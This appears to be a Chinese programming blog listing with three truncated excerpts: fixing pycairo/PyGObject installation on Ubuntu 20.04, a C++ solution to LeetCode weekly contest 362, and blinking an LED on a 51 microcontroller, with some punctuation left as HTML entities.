解决Ubuntu无法安装pycairo和PyGObject

环境&#xff1a;虚拟机Ubuntu20.04&#xff0c;vscode无法安装pycairo和PyGObject 虚拟机Ubuntu20.04&#xff0c;vscode中运行Anaconda搭建的vens 的Python3.8.10 首先在vscode中点击ctrlshiftp&#xff0c;选择Python3.8.10的环境&#xff0c;自动激活Python 最近在搞无人…

第 362 场 LeetCode 周赛题解

A 与车相交的点 数据范围小直接暴力枚举 class Solution { public:int numberOfPoints(vector <vector<int>> &nums) {unordered_set<int> vis;for (auto &p: nums)for (int i p[0]; i < p[1]; i)vis.insert(i);return vis.size();} };B 判断能否…

普中 51 单片机点亮LED灯

普中 51 单片机 &#xff08;STC89C52RC&#xff09; LED / IO 将LED1进行闪烁操作 为啥要进行延时操作&#xff1f;依据人的肉眼余晖效应&#xff0c; 延时时间不能太短&#xff0c;否则就无法观察到 LED 闪烁 #include "reg52.h" typedef unsigned int u16; //对…